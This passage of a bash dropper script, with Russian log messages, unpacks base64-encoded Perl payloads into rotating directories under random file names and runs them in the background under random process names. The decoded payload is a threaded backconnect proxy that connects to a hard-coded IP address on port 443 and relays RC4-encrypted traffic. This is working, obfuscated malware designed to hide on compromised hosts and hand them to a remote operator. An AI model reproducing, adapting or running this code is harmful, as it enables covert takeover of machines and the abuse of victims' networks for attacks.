cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #11 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #11 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 12 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ 